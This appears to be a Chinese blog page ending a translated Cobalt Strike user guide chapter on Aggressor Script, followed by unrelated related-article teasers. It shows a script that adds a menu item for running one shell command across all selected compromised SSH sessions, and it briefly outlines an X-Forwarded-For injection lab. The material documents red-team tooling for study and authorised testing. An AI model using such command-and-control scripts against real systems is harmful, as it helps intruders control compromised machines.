你还可以在 SSH 弹出菜单中添加项目。ssh 弹出钩子允许你向 SSH 菜单添加项目。 SSH 弹出菜单的参数是选定会话 ID的数组。

popup ssh {item "Run All..." {prompt_text("Which command to run?", "w", lambda({binput(@ids, "shell $1");bshell(@ids, $1);}, @ids => $1));}
}

你会发现,这个例子与 Beacon 章节中的例子非常相似。例如,使用 &binput 向 SSH 控制台发布输入。使用 &bshell 来指定 SSH 会话运行命令。这些都是正确的。请记住,在Cobalt Strike/Aggressor脚本的大部分功能中,SSH会话就是Beacon会话。

# 说明

本文由笔者在Cobalt Strike官方用户指南原文(https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)基础上编译,如需转载请注明来源。

相关文章:

Cobalt Strike 4.8 用户指南-第十四节 Aggressor 脚本

14.1、什么是Aggressor脚本 Aggressor Script 是Cobalt Strike 3.0版及更高版本中内置的脚本语言。Aggressor 脚本允许你修改和扩展 Cobalt Strike 客户端。 历史 Aggressor Script 是 Armitage 中开源脚本引擎Cortana的精神继承者。Cortana 是通过与 DARPA 的网络快速跟踪计…...

C++并发与多线程(高级函数async)

async 在 C 中,async 关键字用于实现异步编程,它允许你定义异步操作,这些操作可以在后台执行,而不会阻塞当前线程。这是 C11 引入的特性,与 std::async 函数和 std::future 类一起使用。与thread函数模板的区别在于as…...

安卓课设版算法计算器

安卓课设版算法计算器(HNUST) 前言: 如果只想看函数使用说明请跳转到“四、使用函数介绍” 该版本为课设版,富含多个界面,是前版的plus版本,进行了更多的复杂化操作,故因此会觉得对于计算器有点…...

X-Forwarded-For注入漏洞

0x00环境介绍 靶机http://219.153.49.228:48033,通过注入完成找到网站的key。 1|00x01复现过程 1.访问网站使用admin/admin登入,用burpsuite截包寻找注入点 >>截到的包,正常放包回显内容 >>加X-forwarded-for:1.1.1.1回显IP数据改变&…...

Linux - MySQL迁移至一主一从

Linux - MySQL迁移至一主一从 迁移准备安装MySQL ibd文件迁移原服务器操作目标服务器操作 一主一从增量同步异常解决结尾 首先部分单独安装MySQL,请参考Linux - MySQL安装,迁移数据量比较大约400G左右且网络不通故使用文件迁移,需开启一段时间…...

《变形金刚:赛博坦的陨落》游戏启动难题:‘buddha.dll’缺失的七大修复策略

《变形金刚:赛博坦的陨落》游戏启动时提示buddha.dll缺失:原因与解决方案 作为一名软件开发从业者,我在日常工作中经常遇到电脑游戏运行时出现的各种问题,如文件丢失、文件损坏和系统报错等。今天,我们就来探讨一下《…...

51c嵌入式~单片机~合集2

我自己的原文哦~ https://blog.51cto.com/whaosoft/12362395 一、不同的电平信号的MCU怎么通信? 下面这个“电平转换”电路,理解后令人心情愉快。电路设计其实也可以很有趣。 先说一说这个电路的用途:当两个MCU在不同的工作电压下工作&a…...

java Resource 记录

Java 注解 Resource 是一个标准的 Java 注解,用于注入资源。它可以用于注入任何资源,如文件、数据库连接、用户定义的资源等。它可以通过名称或类型进行注入。 当你想要注入一个bean到你的类中时,你可以使用Resource注解。 解决方案1&#…...

Avalonia 开发环境准备

总目录 前言 介绍如何搭建 Avalonia 开发环境。 一、在线开发环境搭建 请先安装您选择的受支持的IDE。Avalonia 支持 Visual Studio、Rider 和 Visual Studio Code。 详见:https://docs.avaloniaui.net/zh-Hans/docs/get-started/install 1. 使用 Visual Studio 20…...

C# 中 Console.WriteLine($“{DateTime.Now.Date}“); win 和 docker容器输出不同

Console.WriteLine($"{DateTime.Now.Date}"); //windowns输出:2024/12/10 0:00:00 //docker容器输出:12/10/2024 00:00:00 这是由于 不同的文化区域(CultureInfo)设置 导致的时间格式差异。在 Windows 系统…...

回型矩阵:JAVA

解题思路: 通过定义四条边界;top,left,right,bottom,来循环,当top>bottom&&left>right的时候循环终止 循环结束的条件: 链接:登录—专业IT笔试面试备考平台_牛客网 来源:牛客网 题目描述…...

从零开始学习 sg200x 多核开发之 sophpi 编译生成 fip.bin 流程梳理

本文主要介绍 sophpi 编译生成 fip.bin 流程。 1、编译前准备 sophpi 的基本编译流程如下: $ source build/cvisetup.sh $ defconfig sg2002_wevb_riscv64_sd $ clean_all $ build_all $ pack_burn_image注: 需要在 bash 下运行clean_all 非必要可以不…...

python--在服务器上面创建conda环境

今天刚开始使用服务器的时候使用上面的公共环境发现老师缺少模块&#xff0c; [guoyupingcins195 ~]$ conda --version Traceback (most recent call last): File "/home/miniconda3/bin/conda", line 12, in <module> from conda.cli import main Fil…...

day15 python(3)——python基础(完结!!)

【没有所谓的运气&#x1f36c;&#xff0c;只有绝对的努力✊】 目录 1、函数 1.1 函数传参中的拆包 1.2 匿名函数的定义 1.3 匿名函数练习 1.4 匿名函数应用——列表中的字典排序 2、面向对象 OOP 2.1 面向对象介绍 2.2 类和对象 2.3 类的构成和设计 2.4 面向对象代码…...

/:087启动游戏时提示丢失”d3dx···.dll””VCOMP···.dll”

/:087启动游戏时提示丢失”d3dx.dll””VCOMP.dll”或遇到应用程序无法正常启动&#xff08;0xc000007b&#xff09;和游戏有图像没有声音等情况。 主要是因为系统缺少大型游戏/软件运行的必备组件&#xff0c;这些组件有DirectX&#xff0c;Visual C2010&#xff0c;2012&…...

利用PHP和phpSpider进行图片爬取及下载

利用PHP和phpSpider进行图片爬取及下载&#xff0c;可以遵循以下步骤。phpSpider是一个开源的PHP爬虫框架&#xff0c;它可以帮助你轻松地抓取网页内容。以下是一个基本的步骤指南&#xff1a; 1. 安装phpSpider 首先&#xff0c;你需要确保你已经安装了Composer&#xff08;…...

企业架构划分探讨:业务架构与IT架构的利与弊

在企业架构&#xff08;EA&#xff09;的江湖里&#xff0c;大家一直致力于如何把企业的复杂性简化成有条有理的架构蓝图。有人选择把企业架构分成业务架构和IT架构&#xff0c;而IT架构又进一步细分为应用架构、数据架构和技术架构。但一提到这种划分方式&#xff0c;总有人跳…...

Java设计模式 —— 【结构型模式】桥接模式详解

前言 现在有一个需求&#xff0c;需要创建不同的图形&#xff0c;并且每个图形都有可能会有不同的颜色。 首先我们看看用继承来实现&#xff1a; 我们可以发现有很多的类&#xff0c;假如我们再增加一个形状或再增加一种颜色&#xff0c;就需要创建更多的类。 试想&#xf…...

MySQL学习之DDL操作

目录 数据库的操作 创建 查看 选择 删除 修改 数据类型 表的创建 表的修改 表的约束 主键 PRIMARY KEY 唯一性约束 UNIQUE 非空约束 NOT NULL 外键约束 约束小结 索引 索引分类 常规索引 主键索引 唯一索引 外键索引 优点 缺点 视图 创建 删除 修改…...

游戏AI实现-寻路算法(A*)

A*&#xff08;A-star&#xff09;是一种图遍历和寻路算法&#xff0c;由于其完整性、最优性和最佳效率&#xff0c;它被用于计算机科学的许多领域。给定一个加权图、一个源节点和一个目标节点&#xff0c;该算法将找到从源到目标的最短路径&#xff08;相对于给定的权重&#…...

spring学习(spring的IoC思想、spring容器、spring配置文件、依赖注入(DI)、BeanProxy机制(AOP))

目录 一、spring-IoC。 &#xff08;1&#xff09;spring框架。(诞生原因及核心思想) 1、为什么叫框架&#xff1f; 2、spring框架诞生的技术背景。 &#xff08;2&#xff09;控制反转&#xff08;IoC&#xff09;。 &#xff08;3&#xff09;spring的Bean工厂和IoC容器。 &a…...

谁说C比C++快?

看到这个问题&#xff0c;我我得说&#xff1a;这事儿没有那么简单。 1. 先把最大的误区打破 "C永远比C快" —— 某位1990年代的程序员 这种说法就像"自行车永远比汽车省油"一样荒谬。我们来看个例子&#xff1a; // C风格 char* str (char*)malloc(100…...

GEE+本地XGboot分类

GEE本地XGboot分类 我想做提取耕地提取&#xff0c;想到了一篇董金玮老师的一篇论文&#xff0c;这个论文是先提取的耕地&#xff0c;再做作物分类&#xff0c;耕地的提取代码是开源的。 但这个代码直接在云端上进行分类&#xff0c;GEE会爆内存&#xff0c;因此我准备把数据下…...

OpenCV相机标定与3D重建(24)计算两个二维点集之间的最佳仿射变换矩阵(2x3)函数estimateAffine2D()的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 计算两个二维点集之间的最优仿射变换&#xff0c;它计算 [ x y ] [ a 11 a 12 a 21 a 22 ] [ X Y ] [ b 1 b 2 ] \begin{bmatrix} x\\ y\\ \en…...

UIP协议栈 TCP通信客户端 服务端,UDP单播 广播通信 example

文章目录 1. TCP通信 客户端&#xff08;关键配置&#xff09;2. TCP 服务端配置3. UDP 点播通信4. UDP 广播通信5. UIP_UDP_APPCALL 里边的处理example6. TCP数据处理 &#xff0c;UIP_APPCALL调用的函数 UIP_APPCALL TCP的数据都在这个宏定义的函数里进行数据处理的 UDP 数据…...

【NoSQL系列】为什么要使用Redis?

第一次知道Redis是以前准备面试的时候&#xff0c;只知道是用来缓存数据的。随着这几年的工作&#xff0c;对软件的认识从盲人摸象到睁眼看世界。 在常用的软件架构评价模型中&#xff0c;性能、可用性、安全性和可维护性是常见的评价属性&#xff0c;客户总希望系统响应又快有…...

MySQL Explain 分析SQL语句性能

一、EXPLAIN简介 使用EXPLAIN关键字可以模拟优化器执行SQL查询语句&#xff0c;从而知道MySQL是如何处理你的SQL语句的。分析你的查询语句或是表结构的性能瓶颈。 &#xff08;1&#xff09; 通过EXPLAIN&#xff0c;我们可以分析出以下结果&#xff1a; 表的读取顺序数据读取…...

IIS部署程序https是访问出现403或ERR_HTTP2_PROTOCOL_ERROR

一、说明 在windows server 2016中的IIS程序池里部署一套系统&#xff0c;通过https访问站点&#xff0c;同时考虑到安全问题以及防攻击等行为&#xff0c;就用上了WAF云盾功能&#xff0c;能有效的抵挡部分攻击&#xff0c;加强网站的安全性和健壮性。 应用系统一直能够正常…...

学技术学英文:代码中的锁:悲观锁和乐观锁

本文导读&#xff1a; 1. 举例说明加锁的场景&#xff1a; 多线程并发情况下有资源竞争的时候&#xff0c;如果不加锁&#xff0c;会出现数据错误&#xff0c;举例说明&#xff1a; 业务需求&#xff1a;账户余额>取款金额&#xff0c;才能取钱。 时间线 两人共有账户 …...

青少年编程与数学 02-004 Go语言Web编程 02课题、依赖管理

青少年编程与数学 02-004 Go语言Web编程 02课题、依赖管理 课题摘要:一、项目结构各目录说明&#xff1a; 二、依赖项三、依赖管理任务四、依赖管理步骤1. 初始化Go Modules项目2. 添加依赖3. 指定依赖版本4. 更新依赖5. 清理未使用的依赖6. 离线工作7. 模块隔离8. 可重现构建 …...